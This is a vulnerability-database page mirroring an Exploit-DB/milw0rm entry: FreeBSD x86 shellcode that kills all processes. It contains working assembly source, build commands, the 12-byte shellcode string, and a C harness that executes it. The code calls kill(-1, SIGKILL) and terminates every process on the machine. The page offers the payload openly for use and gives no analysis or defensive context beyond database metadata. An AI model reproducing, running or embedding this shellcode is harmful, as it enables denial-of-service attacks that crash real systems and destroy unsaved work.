FreeBSD/x86 - Kill All Processes Shellcode (12 bytes)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1056834 漏洞类型
发布时间 2008-09-09 更新时间 2008-09-09
CVE编号 N/A CNNVD-ID N/A
漏洞平台 FreeBSD_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13264
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
***(C)oDed bY suN8Hclf***
       DaRk-CodeRs Group productions, kid
 [FreeBSD x86 kill all procesess 12 bytes shellcode]


Compile:
nasm -f elf code.asm
ld -e _start -o code code.o

Assembly code:
---------------------code.asm-------------------
section .text
global _start

_start:
xor eax, eax
push byte 9 ; SIGKILL
dec eax
push eax    ; -1 (0xffffffff)
inc eax
mov al, 37  ;kill() syscall number, check /usr/src/sys/kern/syscalls.master for details
push eax
int 0x80
---------------------code.asm-------------------

And C code:
---------------------code.c---------------------
#include <stdio.h>

char shellcode[]=
"\x31\xc0\x6a\x09\x48\x50\x40\xb0\x25\x50\xcd\x80";

int main()
{
int (*func)();
func=(int (*)())shellcode;
(int)(*func)();
}
---------------------code.c---------------------


Greetz: all DaRk-CodeRs guys, e.wiZz!, doctor
Visit : www.dark-coders.pl

# milw0rm.com [2008-09-09]